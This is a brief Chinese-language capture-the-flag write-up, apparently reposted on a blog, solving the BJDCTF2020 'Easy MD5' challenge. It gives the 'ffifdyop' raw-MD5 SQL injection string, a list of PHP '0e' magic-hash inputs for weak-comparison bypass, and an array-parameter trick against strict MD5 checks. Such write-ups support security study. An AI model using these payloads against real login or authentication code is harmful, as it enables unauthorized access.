[BJDCTF2020]Easy MD5
? 
點擊進行去后,看到有輸入框,隨便輸入一串,并沒有結果回顯,查看資料包

提示進行了md5加密
這里有一個神奇的字串,
ffifdyop
由于資料庫mysql會將md5加密后的hex值轉換成字串再執行,但這個字串加密后再轉字串就是
'or'6?]??!r,??b
條件恒真
129581926211651571912466741651878684928
也有同效
登陸后,
查看原始碼

這是一個弱型別的MD5碰撞,
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
常見的有上述這些,原理是當加密后,首字幾個為0e,會被當成科學計數法,而0的幾次方都是0,

在跳轉到這里,
這里則是md5的強對撞,使用陣列型別可繞過
?param1[]=111¶m2[]=222
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/301664.html
標籤:其他
下一篇:用python讀入csv檔案
